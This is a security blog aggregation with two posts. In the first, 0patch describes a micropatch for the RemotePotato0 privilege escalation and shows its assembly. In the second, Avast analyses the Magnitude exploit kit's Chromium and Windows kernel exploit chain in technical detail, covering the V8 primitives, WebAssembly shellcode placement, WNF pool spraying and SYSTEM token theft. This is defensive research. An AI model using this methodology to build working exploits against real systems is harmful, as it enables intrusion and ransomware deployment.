There are new articles available, click to refresh the page.
Before yesterdayReverse Engineering

Free Micropatches for "RemotePotato0", a "WON'T FIX" Local Privilege Escalation Affecting all Windows Systems

12 January 2022 at 17:04


by Mitja Kolsek, the 0patch Team


Update 1/19/2022: User informed us that our initial micropatch for this issue broke Windows Hello PIN settings (not the login, but creating or editing the PIN). We analyzed the issue and found that our initial test for requestor's permissions was causing the problem in this case. We therefore revoked the initial patches and issued new ones where we check for requestor's permissions using token's TokenIsElevated value.

Back in April 2021, researcher Antonio Cocomazzi of Sentinel LABS and independent security researcher Andrea Pierini published an article titled Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol. The article described a local privilege escalation vulnerability they had found in Windows and reported to Microsoft, who decided not to fix because "Servers must defend themselves against NTLM relay attacks."

As far as real world goes, many servers do not, in fact, defend themselves against NTLM relay attacks. Since the vulnerability is present on all supported Windows versions as of today (as well as all unsupported versions which we had security-adopted), we decided to fix it ourselves.

The Vulnerability

The vulnerability is comprehensively described in the Sentinel LABS article. It allows a logged-in low-privileged attacker to launch one of several special-purpose applications in the session of any other user who is also currently logged in to the same computer, and make that application send said user's NTLM hash to an IP address chosen by the attacker. Intercepting an NTLM hash from a domain administrator, the attacker can craft their own request for the domain controller pretending to be that administrator and perform some administrative action such as adding themselves to the Domain Administrators group.

To exploit this issue, some higher-privileged user must be logged in to the same Windows computer as the attacker at the same time. This is a relatively exotic situation on Windows workstations, although possible with the "Switch user" feature that keeps one interactive user logged in while another user logs in interactively to the same computer. One could imagine a malicious user asking the administrator to help them resolve some issue by logging in to their workstation via "Switch user", where a script running in attacker's session would autonomously perform the attack.

A much more interesting target are Windows servers, especially terminal servers where multiple users, both unprivileged and administrators, have simultaneous user sessions. There, any remotely logged-in user could attack any other user that is currently also logged in, and do so without social engineering or any assistance by the victim.

Microsoft decided not to fix this issue as their position is that NTLM relaying should be prevented through NTLM configuration or by not using NTLM anymore. Such changes have potential to break something, so companies are understandably a bit reluctant to implement them in their production environments.


Patching This Issue

To fix a vulnerability, one must first understand it, and the functionality within which it resides. This immediately brings us to the question: Why does Windows allow a low-privileged user to cause anything to get launched at all in a session other than their own? Unfortunately, we failed to find the answer or even come up with some hypothetical reason. A feature like this would immediately look suspect to any security researcher, and it's not a surprise that someone had looked at it and found it to be exploitable.

It would be easy for us to completely disable this strange functionality but just in case it's being used for some reason, we decided to only block it in case a non-privileged user is trying to launch a process in another session. We wanted to allow privileged users such as administrators or Local System to use this mysterious feature if they wanted, but prevent normal users from doing so.

Our patch was therefore placed in the execution flow of rpcss.dll where requestor's token, requestor's session ID and target session ID are known, and does the following:

  1. If requestor's session ID is the same as target session ID, we do not interfere. (If the user wants to launch processes in their own session, let them do it.)
  2. Else, if requestor's token allows for some privileged operation, we do not interfere. (Specifically, if requestor's token has a non-zero TokenIsElevated value, we consider the requestor as privileged, and do not interfere.)
  3. Else, we block the operation.

Source code of our micropatch:

MODULE_PATH "..\Affected_Modules\rpcss.dll_10.0.19041.1387_Win10-21H1_64-bit_u202112\rpcss.dll"
VULN_ID 7190

  PIT rpcss.dll!0xec38,Advapi32.dll!ImpersonateLoggedOnUser,Advapi32.dll!RevertToSelf,Advapi32.dll!RegOpenKeyExW,Advapi32.dll!RegCloseKey,rpcss.dll!0x11560
    push r12               ; store registry values
    push r13
    push r9
    sub rsp, 8             ; align stack
    mov r13, [rbp-68h]     ; this - contains current session token
    mov rcx, [r13+48h]     ; get current session token
    sub rsp, 20h           ; home space
    call PIT_0xec38        ; call GetSessionId2, returns session id
    add rsp, 20h           ; restore stack pointer
    mov r12, rax           ; store session id
    mov rcx, [rbp-58h]     ; target session token
    sub rsp, 20h           ; home space
    call PIT_0xec38        ; call GetSessionId2, returns session id
    add rsp, 20h           ; restore stack pointer
    cmp rax, r12           ; compare both session ids
                           ; equal -> continue normal code flow
                           ; not equal -> check if current session has elevated privileges
    mov rcx, [r13+48h]     ; current session token
    sub rsp, 20h           ; home space
    call PIT_ImpersonateLoggedOnUser  ; the user is represented by token handle
                           ; If the function succeeds, the return value is nonzero
    add rsp, 20h           ; restore stack pointer
    cmp eax, 0             ; check return value
    mov r12, 0             ; r12 stores a value that decides if requestor has
                           ; elevated privileges
                           ; 0 - not elevated
                           ; 1 - elevated
    mov rcx, 0FFFFFFFF80000002h ; handle to HKLM registry, hKey
    call VAR
        dw __utf16__('SOFTWARE'), 0
    pop rdx                ; rdx points to string "SOFTWARE", lpSubKey
    mov r8, 0              ; ulOptions - must be 0
    mov r9, 4              ; samDesired - write access desired
    sub rsp, 30h           ; home space + 10h to store vars on stack
    mov qword[rsp+28h], 0  ; resulting handle is at rsp+28h
    lea rax, [rsp+28h]     ; get address of handle
    mov [rsp+20h], rax     ; phkResult
    call PIT_RegOpenKeyExW ; Opens the specified registry key
    mov r13, [rsp+28h]     ; store return value
    add rsp, 30h           ; restore stack pointer
    cmp eax, 0             ; If the call succeeded, return value is ERROR_SUCCESS(0).
    jne REVERT             ; jmp if function fails
    mov rcx, r13           ; hKey
    sub rsp, 20h           ; home space
    call PIT_RegCloseKey   ; Close the handle of registry key
    add rsp, 20h           ; restore stack pointer
    mov r12, 1             ; elevated privileges
    sub rsp, 20h           ; home space
    call PIT_RevertToSelf  ; RevertToSelf terminates previous impersonation
    add rsp, 20h           ; restore stack pointer
    cmp r12, 1             ; check if current user has elevated privileges
    je CONTINUE            ; jmp if yes
    add rsp, 8             ; restore stack to original state before patch
    pop r9
    pop r13
    pop r12
    jmp PIT_0x11560        ; skip to end of the function, blocking the attack
    add rsp, 8             ; restore stack to original state before patch
    pop r9
    pop r13
    pop r12


Here is a video showing how the micropatch blocks exploitation of this vulnerability:

Micropatch Availability

This micropatch was written for: 

  1. Windows 10 v21H1 32&64 bit updated with December 2021 or January 2022 Updates
  2. Windows 10 v20H2 32&64 bit updated with December 2021 or January 2022 Updates
  3. Windows 10 v2004 32&64 bit updated with December 2021 or January 2022 Updates
  4. Windows 10 v1909 32&64 bit updated with December 2021 or January 2022 Updates
  5. Windows 10 v1903 32&64 bit updated with December 2021 or January 2022 Updates
  6. Windows 10 v1809 32&64 bit updated with May 2021 Updates
  7. Windows 10 v1803 32&64 bit updated with May 2021 Updates
  8. Windows 7 32&64 bit updated with January 2020 Updates (no ESU)
  9. Windows 7 32&64 bit updated with January 2021 Updates (year 1 of ESU)
  10. Windows 7 32&64 bit updated with December 2021 or January 2022 Updates (year 2 of ESU)
  11. Windows Server 2019 64 bit updated with December 2021 or January 2022 Updates
  12. Windows Server 2016 64 bit updated with December 2021 or January 2022 Updates
  13. Windows Server 2012 R2 64 bit updated with December 2021 or January 2022 Updates
  14. Windows Server 2012 64 bit updated with December 2021 or January 2022 Updates
  15. Windows Server 2008 R2 64 bit updated with January 2020 Updates (no ESU)
  16. Windows Server 2008 R2 64 bit updated with January 2021 Updates (year 1 of ESU)
  17. Windows Server 2008 R2 64 bit updated with January 2022 Updates (year 2 of ESU)
  18. Windows Server 2008 64 bit updated with January 2020 Updates
Micropatches for this vulnerability will be free until Microsoft has issued an official fix. If you want to use them, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboots will be needed.
We'd like to thank Antonio Cocomazzi and Andrea Pierini for finding this issue and sharing details, which allowed us to create a micropatch and protect our users.

0patch and Microsoft Extended Security Updates

If you're using Windows 7 or Windows Server 2008 R2 with Extended Security Updates (ESU), you have just received the last Windows Updates for the year and are facing paying twice as much as last year to continue receiving Microsoft's official security fixes.

0patch is a much less expensive and less intrusive alternative to ESU. We started by security-adopting Windows 7 and Server 2008 R2 in 2020 when official support for these platforms ended, and many users installed 0patch to keep their systems running securely. Almost all of them are still running today, and you can join them by using 0patch on top of ESU updates you've received up to this point. 
See  how 0patch compares to Extended Security Updates and contact [email protected] for details or a trial.

To learn more about 0patch, please visit our Help Center.



Exploit Kits vs. Google Chrome

12 January 2022 at 16:37

In October 2021, we discovered that the Magnitude exploit kit was testing out a Chromium exploit chain in the wild. This really piqued our interest, because browser exploit kits have in the past few years focused mainly on Internet Explorer vulnerabilities and it was believed that browsers like Google Chrome are just too big of a target for them.

#MagnitudeEK is now stepping up its game by using CVE-2021-21224 and CVE-2021-31956 to exploit Chromium-based browsers. This is an interesting development since most exploit kits are currently targeting exclusively Internet Explorer, with Chromium staying out of their reach.

— Avast Threat Labs (@AvastThreatLabs) October 19, 2021

About a month later, we found that the Underminer exploit kit followed suit and developed an exploit for the same Chromium vulnerability. That meant there were two exploit kits that dared to attack Google Chrome: Magnitude using CVE-2021-21224 and CVE-2021-31956 and Underminer using CVE-2021-21224, CVE-2019-0808, CVE-2020-1020, and CVE-2020-1054.

We’ve been monitoring the exploit kit landscape very closely since our discoveries, watching out for any new developments. We were waiting for other exploit kits to jump on the bandwagon, but none other did, as far as we can tell. What’s more, Magnitude seems to have abandoned the Chromium exploit chain. And while Underminer still continues to use these exploits today, its traditional IE exploit chains are doing much better. According to our telemetry, less than 20% of Underminer’s exploitation attempts are targeting Chromium-based browsers.

This is some very good news because it suggests that the Chromium exploit chains were not as successful as the attackers hoped they would be and that it is not currently very profitable for exploit kit developers to target Chromium users. In this blog post, we would like to offer some thoughts into why that could be the case and why the attackers might have even wanted to develop these exploits in the first place. And since we don’t get to see a new Chromium exploit chain in the wild every day, we will also dissect Magnitude’s exploits and share some detailed technical information about them.

Exploit Kit Theory

To understand why exploit kit developers might have wanted to test Chromium exploits, let’s first look at things from their perspective. Their end goal in developing and maintaining an exploit kit is to make a profit: they just simply want to maximize the difference between money “earned” and money spent. To achieve this goal, most modern exploit kits follow a simple formula. They buy ads targeted to users who are likely to be vulnerable to their exploits (e.g. Internet Explorer users). These ads contain JavaScript code that is automatically executed, even when the victim doesn’t interact with the ad in any way (sometimes referred to as drive-by attacks). This code can then further profile the victim’s browser environment and select a suitable exploit for that environment. If the exploitation succeeds, a malicious payload (e.g. ransomware or a coinminer) is deployed to the victim. In this scenario, the money “earned” could be the ransom or mining rewards. On the other hand, the money spent is the cost of ads, infrastructure (renting servers, registering domain names etc.), and the time the attacker spends on developing and maintaining the exploit kit.

Modus operandi of a typical browser exploit kit

The attackers would like to have many diverse exploits ready at any given time because it would allow them to cast a wide net for potential victims. But it is important to note that individual exploits generally get less effective over time. This is because the number of people susceptible to a known vulnerability will decrease as some people patch and other people upgrade to new devices (which are hopefully not plagued by the same vulnerabilities as their previous devices). This forces the attackers to always look for new vulnerabilities to exploit. If they stick with the same set of exploits for years, their profit would eventually reduce down to almost nothing.

So how do they find the right vulnerabilities to exploit? After all, there are thousands of CVEs reported each year, but only a few of them are good candidates for being included in an exploit kit. Weaponizing an exploit generally takes a lot of time (unless, of course, there is a ready-to-use PoC or the exploit can be stolen from a competitor), so the attackers might first want to carefully take into account multiple characteristics of each vulnerability. If a vulnerability scores well across these characteristics, it looks like a good candidate for inclusion in an exploit kit. Some of the more important characteristics are listed below.

  • Prevalence of the vulnerability
    The more users are affected by the vulnerability, the more attractive it is to the attackers. 
  • Exploit reliability
    Many exploits rely on some assumptions or are based on a race condition, which makes them fail some of the time. The attackers obviously prefer high-reliability exploits.
  • Difficulty of exploit development
    This determines the time that needs to be spent on exploit development (if the attackers are even capable of exploiting the vulnerability). The attackers tend to prefer vulnerabilities with a public PoC exploit, which they can often just integrate into their exploit kit with minimal effort.
  • Targeting precision
    The attackers care about how hard it is to identify (and target ads to) vulnerable victims. If they misidentify victims too often (meaning that they serve exploits to victims who they cannot exploit), they’ll just lose money on the malvertising.
  • Expected vulnerability lifetime
    As was already discussed, each vulnerability gets less effective over time. However, the speed at which the effectiveness drops can vary a lot between vulnerabilities, mostly based on how effective is the patching process of the affected software.
  • Exploit detectability
    The attackers have to deal with numerous security solutions that are in the business of protecting their users against exploits. These solutions can lower the exploit kit’s success rate by a lot, which is why the attackers prefer more stealthy exploits that are harder for the defenders to detect. 
  • Exploit potential
    Some exploits give the attackers System, while others might make them only end up inside a sandbox. Exploits with less potential are also less useful, because they either need to be chained with other LPE exploits, or they place limits on what the final malicious payload is able to do.

Looking at these characteristics, the most plausible explanation for the failure of the Chromium exploit chains is the expected vulnerability lifetime. Google is extremely good at forcing users to install browser patches: Chrome updates are pushed to users when they’re ready and can happen many times in a month (unlike e.g. Internet Explorer updates which are locked into the once-a-month “Patch Tuesday” cycle that is only broken for exceptionally severe vulnerabilities). When CVE-2021-21224 was a zero-day vulnerability, it affected billions of users. Within a few days, almost all of these users received a patch. The only unpatched users were those who manually disabled (or broke) automatic updates, those who somehow managed not to relaunch the browser in a long time, and those running Chromium forks with bad patching habits.

A secondary reason for the failure could be attributed to bad targeting precision. Ad networks often allow the attackers to target ads based on various characteristics of the user’s browser environment, but the specific version of the browser is usually not one of these characteristics. For Internet Explorer vulnerabilities, this does not matter that much: the attackers can just buy ads for Internet Explorer users in general. As long as a certain percentage of Internet Explorer users is vulnerable to their exploits, they will make a profit. However, if they just blindly targeted Google Chrome users, the percentage of vulnerable victims might be so low, that the cost of malvertising would outweigh the money they would get by exploiting the few vulnerable users. Google also plans to reduce the amount of information given in the User-Agent string. Exploit kits often heavily rely on this string for precise information about the browser version. With less information in the User-Agent header, they might have to come up with some custom version fingerprinting, which would most likely be less accurate and costly to manage.

Now that we have some context about exploit kits and Chromium, we can finally speculate about why the attackers decided to develop the Chromium exploit chains. First of all, adding new vulnerabilities to an exploit kit seems a lot like a “trial and error” activity. While the attackers might have some expectations about how well a certain exploit will perform, they cannot know for sure how useful it will be until they actually test it out in the wild. This means it should not be surprising that sometimes, their attempts to integrate an exploit turn out worse than they expected. Perhaps they misjudged the prevalence of the vulnerabilities or thought that it would be easier to target the vulnerable victims. Perhaps they focused too much on the characteristics that the exploits do well on: after all, they have reliable, high-potential exploits for a browser that’s used by billions. It could also be that this was all just some experimentation where the attackers just wanted to explore the land of Chromium exploits.

It’s also important to point out that the usage of Internet Explorer (which is currently vital for the survival of exploit kits) has been steadily dropping over the past few years. This may have forced the attackers to experiment with how viable exploits for other browsers are because they know that sooner or later they will have to make the switch. But judging from these attempts, the attackers do not seem fully capable of making the switch as of now. That is some good news because it could mean that if nothing significant changes, exploit kits might be forced to retire when Internet Explorer usage drops below some critical limit.


Let’s now take a closer look at the Magnitude’s exploit chain that we discovered in the wild. The exploitation starts with a JavaScript exploit for CVE-2021-21224. This is a type confusion vulnerability in V8, which allows the attacker to execute arbitrary code within a (sandboxed) Chromium renderer process. A zero-day exploit for this vulnerability (or issue 1195777, as it was known back then since no CVE ID had been assigned yet) was dumped on Github on April 14, 2021. The exploit worked for a couple of days against the latest Chrome version, until Google rushed out a patch about a week later.

It should not be surprising that Magnitude’s exploit is heavily inspired by the PoC on Github. However, while both Magnitude’s exploit and the PoC follow a very similar exploitation path, there are no matching code pieces, which suggests that the attackers didn’t resort that much to the “Copy/Paste” technique of exploit development. In fact, Magnitude’s exploit looks like a more cleaned-up and reliable version of the PoC. And since there is no obfuscation employed (the attackers probably meant to add it in later), the exploit is very easy to read and debug. There are even very self-explanatory function names, such as confusion_to_oob, addrof, and arb_write, and variable names, such as oob_array, arb_write_buffer, and oob_array_map_and_properties. The only way this could get any better for us researchers would be if the authors left a couple of helpful comments in there…

Interestingly, some parts of the exploit also seem inspired by a CTF writeup for a “pwn” challenge from *CTF 2019, in which the players were supposed to exploit a made-up vulnerability that was introduced into a fork of V8. While CVE-2021-21224 is obviously a different (and actual rather than made-up) vulnerability, many of the techniques outlined in that writeup apply for V8 exploitation in general and so are used in the later stages of the Magnitude’s exploit, sometimes with the very same variable names as those used in the writeup.

The core of the exploit, triggering the vulnerability to corrupt the length of vuln_array

The root cause of the vulnerability is incorrect integer conversion during the SimplifiedLowering phase. This incorrect conversion is triggered in the exploit by the Math.max call, shown in the code snippet above. As can be seen, the exploit first calls foofunc in a loop 0x10000 times. This is to make V8 compile that function because the bug only manifests itself after JIT compilation. Then, helper["gcfunc"] gets called. The purpose of this function is just to trigger garbage collection. We tested that the exploit also works without this call, but the authors probably put it there to improve the exploit’s reliability. Then, foofunc is called one more time, this time with flagvar=true, which makes xvar=0xFFFFFFFF. Without the bug, lenvar should now evaluate to -0xFFFFFFFF and the next statement should throw a RangeError because it should not be possible to create an array with a negative length. However, because of the bug, lenvar evaluates to an unexpected value of 1. The reason for this is that the vulnerable code incorrectly converts the result of Math.max from an unsigned 32-bit integer 0xFFFFFFFF to a signed 32-bit integer -1. After constructing vuln_array, the exploit calls Array.prototype.shift on it. Under normal circumstances, this method should remove the first element from the array, so the length of vuln_array should be zero. However, because of the disparity between the actual and the predicted value of lenvar, V8 makes an incorrect optimization here and just puts the 32-bit constant 0xFFFFFFFF into Array.length (this is computed as 0-1 with an unsigned 32-bit underflow, where 0 is the predicted length and -1 signifies Array.prototype.shift decrementing Array.length). 

A demonstration of how an overwrite on vuln_array can corrupt the length of oob_array

Now, the attackers have successfully crafted a JSArray with a corrupted Array.length, which allows them to perform out-of-bounds memory reads and writes. The very first out-of-bounds memory write can be seen in the last statement of the confusion_to_oob function. The exploit here writes 0xc00c to vuln_array[0x10]. This abuses the deterministic memory layout in V8 when a function creates two local arrays. Since vuln_array was created first, oob_array is located at a known offset from it in memory and so by making out-of-bounds memory accesses through vuln_array, it is possible to access both the metadata and the actual data of oob_array. In this case, the element at index 0x10 corresponds to offset 0x40, which is where Array.length of oob_array is stored. The out-of-bounds write therefore corrupts the length of oob_array, so it is now too possible to read and write past its end.

The addrof and fakeobj exploit primitives

Next, the exploit constructs the addrof and fakeobj exploit primitives. These are well-known and very powerful primitives in the world of JavaScript engine exploitation. In a nutshell, addrof leaks the address of a JavaScript object, while fakeobj creates a new, fake object at a given address. Having constructed these two primitives, the attacker can usually reuse existing techniques to get to their ultimate goal: arbitrary code execution. 

A step-by-step breakdown of the addrof primitive. Note that just the lower 32 bits of the address get leaked, while %DebugPrint returns the whole 64-bit address. In practice, this doesn’t matter because V8 compresses pointers by keeping upper 32 bits of all heap pointers constant.

Both primitives are constructed in a similar way, abusing the fact that vuln_array[0x7] and oob_array[0] point to the very same memory location. It is important to note here that  vuln_array is internally represented by V8 as HOLEY_ELEMENTS, while oob_array is PACKED_DOUBLE_ELEMENTS (for more information about internal array representation in V8, please refer to this blog post by the V8 devs). This makes it possible to write an object into vuln_array and read it (or more precisely, the pointer to it) from the other end in oob_array as a double. This is exactly how addrof is implemented, as can be seen above. Once the address is read, it is converted using helper["f2ifunc"] from double representation into an integer representation, with the upper 32 bits masked out, because the double takes 64 bits, while pointers in V8 are compressed down to just 32 bits. fakeobj is implemented in the same fashion, just the other way around. First, the pointer is converted into a double using helper["i2ffunc"]. The pointer, encoded as a double, is then written into oob_array[0] and then read from vuln_array[0x7], which tricks V8 into treating it as an actual object. Note that there is no masking needed in fakeobj because the double written into oob_array is represented by more bits than the pointer read from vuln_array.

The arbitrary read/write exploit primitives

With addrof and fakeobj in place, the exploit follows a fairly standard exploitation path, which seems heavily inspired by the aforementioned *CTF 2019 writeup. The next primitives constructed by the exploit are arbitrary read/write. To achieve these primitives, the exploit fakes a JSArray (aptly named fake in the code snippet above) in such a way that it has full control over its metadata. It can then overwrite the fake JSArray’s elements pointer, which points to the address where the actual elements of the array get stored. Corrupting the elements pointer allows the attackers to point the fake array to an arbitrary address, and it is then subsequently possible to read/write to that address through reads/writes on the fake array.

Let’s look at the implementation of the arbitrary read/write primitive in a bit more detail. The exploit first calls the get_arw function to set up the fake JSArray. This function starts by using an overread on oob_array[3] in order to leak map and properties of oob_array (remember that the original length of oob_array was 3 and that its length got corrupted earlier). The map and properties point to structures that basically describe the object type in V8. Then, a new array called point_array gets created, with the oob_array_map_and_properties value as its first element. Finally, the fake JSArray gets constructed at offset 0x20 before point_array. This offset was carefully chosen, so that the the JSArray structure corresponding to fake overlaps with elements of point_array. Therefore, it is possible to control the internal members of fake by modifying the elements of point_array. Note that elements in point_array take 64 bits, while members of the JSArray structure usually only take 32 bits, so modifying one element of point_array might overwrite two members of fake at the same time. Now, it should make sense why the first element of point_array was set to oob_array_map_and_properties. The first element is at the same address where V8 would look for the map and properties of fake. By initializing it like this, fake is created to be a PACKED_DOUBLE_ELEMENTS JSArray, basically inheriting its type from oob_array.

The second element of point_array overlaps with the elements pointer and Array.length of fake. The exploit uses this for both arbitrary read and arbitrary write, first corrupting the elements pointer to point to the desired address and then reading/writing to that address through fake[0]. However, as can be seen in the exploit code above, there are some additional actions taken that are worth explaining. First of all, the exploit always makes sure that addrvar is an odd number. This is because V8 expects pointers to be tagged, with the least significant bit set. Then, there is the addition of 2<<32 to addrvar. As was explained before, the second element of point_array takes up 64 bits in memory, while the elements pointer and Array.length both take up only 32 bits. This means that a write to point_array[1] overwrites both members at once and the 2<<32 just simply sets the Array.length, which is controlled by the most significant 32 bits. Finally, there is the subtraction of 8 from addrvar. This is because the elements pointer does not point straight to the first element, but instead to a FixedDoubleArray structure, which takes up eight bytes and precedes the actual element data in memory.

A dummy WebAssembly program that will get hollowed out and replaced by Magnitude’s shellcode

The final step taken by the exploit is converting the arbitrary read/write primitive into arbitrary code execution. For this, it uses a well-known trick that takes advantage of WebAssembly. When V8 JIT-compiles a WebAssembly function, it places the compiled code into memory pages that are both writable and executable (there now seem to be some new mitigations that aim to prevent this trick, but it is still working against V8 versions vulnerable to CVE-2021-21224). The exploit can therefore locate the code of a JIT-compiled WebAssembly function, overwrite it with its own shellcode and then call the original WebAssembly function from Javascript, which executes the shellcode planted there.

Magnitude’s exploit first creates a dummy WebAssembly module that contains a single function called main, which just returns the number 42 (the original code of this function doesn’t really matter because it will get overwritten with the shellcode anyway). Using a combination of addrof and arb_read, the exploit obtains the address where V8 JIT-compiled the function main. Interestingly, it then constructs a whole new arbitrary write primitive using an ArrayBuffer with a corrupted backing store pointer and uses this newly constructed primitive to write shellcode to the address of main. While it could theoretically use the first arbitrary write primitive to place the shellcode there, it chooses this second method, most likely because it is more reliable. It seems that the first method might crash V8 under some rare circumstances, which makes it not practical for repeated use, such as when it gets called thousands of times to write a large shellcode buffer into memory.

There are two shellcodes embedded in the exploit. The first one contains an exploit for CVE-2021-31956. This one gets executed first and its goal is to steal the SYSTEM token to elevate the privileges of the current process. After the first shellcode returns, the second shellcode gets planted inside the JIT-compiled WebAssembly function and executed. This second shellcode injects Magniber ransomware into some already running process and lets it encrypt the victim’s drives.


Let’s now turn our attention to the second exploit in the chain, which Magnitude uses to escape the Chromium sandbox. This is an exploit for CVE-2021-31956, a paged pool buffer overflow in the Windows kernel. It was discovered in June 2021 by Boris Larin from Kaspersky, who found it being used as a zero-day in the wild as a part of the PuzzleMaker attack. The Kaspersky blog post about PuzzleMaker briefly describes the vulnerability and the way the attackers chose to exploit it. However, much more information about the vulnerability can be found in a twopart blog series by Alex Plaskett from NCC Group. This blog series goes into great detail and pretty much provides a step-by-step guide on how to exploit the vulnerability. We found that the attackers behind Magnitude followed this guide very closely, even though there are certainly many other approaches that they could have chosen for exploitation. This shows yet again that publishing vulnerability research can be a double-edged sword. While the blog series certainly helped many defend against the vulnerability, it also made it much easier for the attackers to weaponize it.

The vulnerability lies in ntfs.sys, inside the function NtfsQueryEaUserEaList, which is directly reachable from the syscall NtQueryEaFile. This syscall internally allocates a temporary buffer on the paged pool (the size of which is controllable by a syscall parameter) and places there the NTFS Extended Attributes associated with a given file. Individual Extended Attributes are separated by a padding of up to four bytes. By making the padding start directly at the end of the allocated pool chunk, it is possible to trigger an integer underflow which results in NtfsQueryEaUserEaList writing subsequent Extended Attributes past the end of the pool chunk. The idea behind the exploit is to spray the pool so that chunks containing certain Windows Notification Facility (WNF) structures can be corrupted by the overflow. Using some WNF magic that will be explained later, the exploit gains an arbitrary read/write primitive, which it uses to steal the SYSTEM token.

The exploit starts by checking the victim’s Windows build number. Only builds 18362, 18363, 19041, and 19042 (19H1 – 20H2) are supported, and the exploit bails out if it finds itself running on a different build. The build number is then used to determine proper offsets into the _EPROCESS structure as well as to determine correct syscall numbers, because syscalls are invoked directly by the exploit, bypassing the usual syscall stubs in ntdll.

Check for the victim’s Windows build number

Next, the exploit brute-forces file handles, until it finds one on which it can use the NtSetEAFile syscall to set its NTFS Extended Attributes. Two attributes are set on this file, crafted to trigger an overflow of 0x10 bytes into the next pool chunk later when NtQueryEaFile gets called.

Specially crafted NTFS Extended Attributes, designed to cause a paged pool buffer overflow

When the specially crafted NTFS Extended Attributes are set, the exploit proceeds to spray the paged pool with _WNF_NAME_INSTANCE and _WNF_STATE_DATA structures. These structures are sprayed using the syscalls NtCreateWnfStateName and NtUpdateWnfStateData, respectively. The exploit then creates 10 000 extra _WNF_STATE_DATA structures in a row and frees each other one using NtDeleteWnfStateData. This creates holes between _WNF_STATE_DATA chunks, which are likely to get reclaimed on future pool allocations of similar size. 

With this in mind, the exploit now triggers the vulnerability using NtQueryEaFile, with a high likelihood of getting a pool chunk preceding a random _WNF_STATE_DATA chunk and thus overflowing into that chunk. If that really happens, the _WNF_STATE_DATA structure will get corrupted as shown below. However, the exploit doesn’t know which _WNF_STATE_DATA structure got corrupted, if any. To find the corrupted structure, it has to iterate over all of them and query its ChangeStamp using NtQueryWnfStateData. If the ChangeStamp contains the magic number 0xcafe, the exploit found the corrupted chunk. In case the overflow does not hit any _WNF_STATE_DATA chunk, the exploit just simply tries triggering the vulnerability again, up to 32 times. Note that in case the overflow didn’t hit a _WNF_STATE_DATA chunk, it might have corrupted a random chunk in the paged pool, which could result in a BSoD. However, during our testing of the exploit, we didn’t get any BSoDs during normal exploitation, which suggests that the pool spraying technique used by the attackers is relatively robust.

The corrupted _WNF_STATE_DATA instance. AllocatedSize and DataSize were both artificially increased, while ChangeStamp got set to an easily recognizable value.

After a successful _WNF_STATE_DATA corruption, more _WNF_NAME_INSTANCE structures get sprayed on the pool, with the idea that they will reclaim the other chunks freed by NtDeleteWnfStateData. By doing this, the attackers are trying to position a _WNF_NAME_INSTANCE chunk after the corrupted _WNF_STATE_DATA chunk in memory. To explain why they would want this, let’s first discuss what they achieved by corrupting the _WNF_STATE_DATA chunk.

The _WNF_STATE_DATA structure can be thought of as a header preceding an actual WnfStateData buffer in memory. The WnfStateData buffer can be read using the syscall NtQueryWnfStateData and written to using NtUpdateWnfStateData. _WNF_STATE_DATA.AllocatedSize determines how many bytes can be written to WnfStateData and _WNF_STATE_DATA.DataSize determines how many bytes can be read. By corrupting these two fields and setting them to a high value, the exploit gains a relative memory read/write primitive, obtaining the ability to read/write memory even after the original WnfStateData buffer. Now it should be clear why the attackers would want a _WNF_NAME_INSTANCE chunk after a corrupted _WNF_STATE_DATA chunk: they can use the overread/overwrite to have full control over a _WNF_NAME_INSTANCE structure. They just need to perform an overread and scan the overread memory for bytes 03 09 A8, which denote the start of their _WNF_NAME_INSTANCE structure. If they want to change something in this structure, they can just modify some of the overread bytes and overwrite them back using NtUpdateWnfStateData.

The exploit scans the overread memory, looking for a _WNF_NAME_INSTANCE header. 0x0903 here represents the NodeTypeCode, while 0xA8 is a preselected NodeByteSize.

What is so interesting about a _WNF_NAME_INSTANCE structure, that the attackers want to have full control over it? Well, first of all, at offset 0x98 there is _WNF_NAME_INSTANCE.CreatorProcess, which gives them a pointer to _EPROCESS relevant to the current process. Kaspersky reported that PuzzleMaker used a separate information disclosure vulnerability, CVE-2021-31955, to leak the _EPROCESS base address. However, the attackers behind Magnitude do not need to use a second vulnerability, because the _EPROCESS address is just there for the taking.

Another important offset is 0x58, which corresponds to _WNF_NAME_INSTANCE.StateData. As the name suggests, this is a pointer to a _WNF_STATE_DATA structure. By modifying this, the attackers can not only enlarge the WnfStateData buffer but also redirect it to an arbitrary address, which gives them an arbitrary read/write primitive. There are some constraints though, such as that the StateData pointer has to point 0x10 bytes before the address that is to be read/written and that there has to be some data there that makes sense when interpreted as a _WNF_STATE_DATA structure.

The StateData pointer gets first set to _EPROCESS+0x28, which allows the exploit to read _KPROCESS.ThreadListHead (interestingly, this value gets leaked using ChangeStamp and DataSize, not through WnfStateData). The ThreadListHead points to _KTHREAD.ThreadListEntry of the first thread, which is the current thread in the context of Chromium exploitation. By subtracting the offset of ThreadListEntry, the exploit gets the _KTHREAD base address for the current thread. 

With the base address of _KTHREAD, the exploit points StateData to _KTHREAD+0x220, which allows it to read/write up to three bytes starting from _KTHREAD+0x230. It uses this to set the byte at _KTHREAD+0x232 to zero. On the targeted Windows builds, the offset 0x232 corresponds to _KTHREAD.PreviousMode. Setting its value to SystemMode=0 tricks the kernel into believing that some of the thread’s syscalls are actually originating from the kernel. Specifically, this allows the thread to use the NtReadVirtualMemory and NtWriteVirtualMemory syscalls to perform reads and writes to the kernel address space.

The exploit corrupting _KTHREAD.PreviousMode

As was the case in the Chromium exploit, the attackers here just traded an arbitrary read/write primitive for yet another arbitrary read/write primitive. However, note that the new primitive based on PreviousMode is a significant upgrade compared to the original StateData one. Most importantly, the new primitive is free of the constraints associated with the original one. The new primitive is also more reliable because there are no longer race conditions that could potentially cause a BSoD. Not to mention that just simply calling NtWriteVirtualMemory is much faster and much less awkward than abusing multiple WNF-related syscalls to achieve the same result.

With a robust arbitrary read/write primitive in place, the exploit can finally do its thing and proceed to steal the SYSTEM token. Using the leaked _EPROCESS address from before, it finds _EPROCESS.ActiveProcessLinks, which leads to a linked list of other _EPROCESS structures. It iterates over this list until it finds the System process. Then it reads System’s _EPROCESS.Token and assigns this value (with some of the RefCnt bits masked out) to its own _EPROCESS structure. Finally, the exploit also turns off some mitigation flags in _EPROCESS.MitigationFlags.

